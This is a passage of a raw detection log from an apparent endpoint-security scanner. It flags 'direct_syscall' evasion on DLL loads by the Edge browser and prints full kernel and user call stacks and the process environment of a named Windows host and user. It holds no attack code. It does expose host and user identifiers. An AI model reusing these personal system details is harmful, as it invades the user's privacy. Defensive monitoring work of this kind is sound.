(x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12a9c2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12a791 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec37d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4183076 + Pid: 7364 + Tid: 1512 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.5092343 +0100 CET + Params: base_address➜ 7ffcd9620000, checksum➜ 202021, default_address➜ 7ffcd9620000, file_path➜ C:\Windows\System32\wtsapi32.dll, image_size➜ 172032, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b682d82 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8d45fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05288 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4183192 + Pid: 7364 + Tid: 4052 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.5125132 +0100 CET + Params: base_address➜ 7ffcc3660000, checksum➜ 178059, default_address➜ 7ffcc3660000, file_path➜ C:\Windows\System32\edputil.dll, image_size➜ 167936, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcd998c922 C:\Windows\System32\windows.storage.dll!RegistryVerbs_GetHandlerMultiSelectModel|0x7ffcd9a946d8 C:\Windows\System32\windows.storage.dll!STORAGE_SHCreateDirectoryExA|0x7ffcd9a56dee C:\Windows\System32\windows.storage.dll!DllCanUnloadNow|0x7ffcd974c18b C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffcd9815a75 C:\Windows\System32\windows.storage.dll!SHChangeNotifyRegisterThread|0x7ffcd609be42 C:\Windows\System32\propsys.dll!PSFormatForDisplay|0x7ffcd60785c9 C:\Windows\System32\propsys.dll!PSGetPropertyDescriptionByName|0x7ffcd9999794 C:\Windows\System32\windows.storage.dll!IsDesktopBandWindow|0x7ffcd97e1bfe C:\Windows\System32\windows.storage.dll!Ordinal911|0x7ffcd97e1ac8 C:\Windows\System32\windows.storage.dll!Ordinal911|0x7ffcd97e3243 C:\Windows\System32\windows.storage.dll!Ordinal911|0x7ffcd97e2152 C:\Windows\System32\windows.storage.dll!Ordinal911|0x7ffcd97e0287 C:\Windows\System32\windows.storage.dll!PathIsSystemDrive|0x7ffcd97e00c0 C:\Windows\System32\windows.storage.dll!PathIsSystemDrive|0x7ffcd991333a C:\Windows\System32\windows.storage.dll!IsUnderKnownFolder|0x7ffcdd6b6969 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffcdca6fb43 C:\Windows\System32\rpcrt4.dll!NdrPointerMarshall|0x7ffcdca6fcdb C:\Windows\System32\rpcrt4.dll!NdrPointerMarshall|0x7ffcdcb373c6 C:\Windows\System32\rpcrt4.dll!Ndr64AsyncServerCall64|0x7ffcdcb357cc C:\Windows\System32\rpcrt4.dll!Ndr64AsyncServerCall64|0x7ffcdca76c50 C:\Windows\System32\rpcrt4.dll!NdrStubCall3|0x7ffcdd69ac43 C:\Windows\System32\combase.dll!CStdStubBuffer_Invoke|0x7ffcdd69ab5b C:\Windows\System32\combase.dll!RoClearError|0x7ffcdd69a0d6 C:\Windows\System32\combase.dll!RoClearError|0x7ffcdd699721 C:\Windows\System32\combase.dll!RoClearError|0x7ffcdd7095d6 C:\Windows\System32\combase.dll!HBITMAP_UserSize|0x7ffcdd66ebf4 C:\Windows\System32\combase.dll!CoWaitForMultipleHandles|0x7ffcdd674988 C:\Windows\System32\combase.dll!CoWaitForMultipleHandles|0x7ffcdd672ec0 C:\Windows\System32\combase.dll!CoWaitForMultipleHandles|0x7ffcdd76561b C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffcdd137846 C:\Windows\System32\user32.dll!CallWindowProcW|0x7ffcdd13539d C:\Windows\System32\user32.dll!IsWindowUnicode|0x7ffcdda4a992 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda49c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4183356 + Pid: 7364 + Tid: 1512 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.5164748 +0100 CET + Params: base_address➜ 7ffcdb740000, checksum➜ 420786, default_address➜ 7ffcdb740000, file_path➜ C:\Windows\System32\winsta.dll, image_size➜ 405504, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e 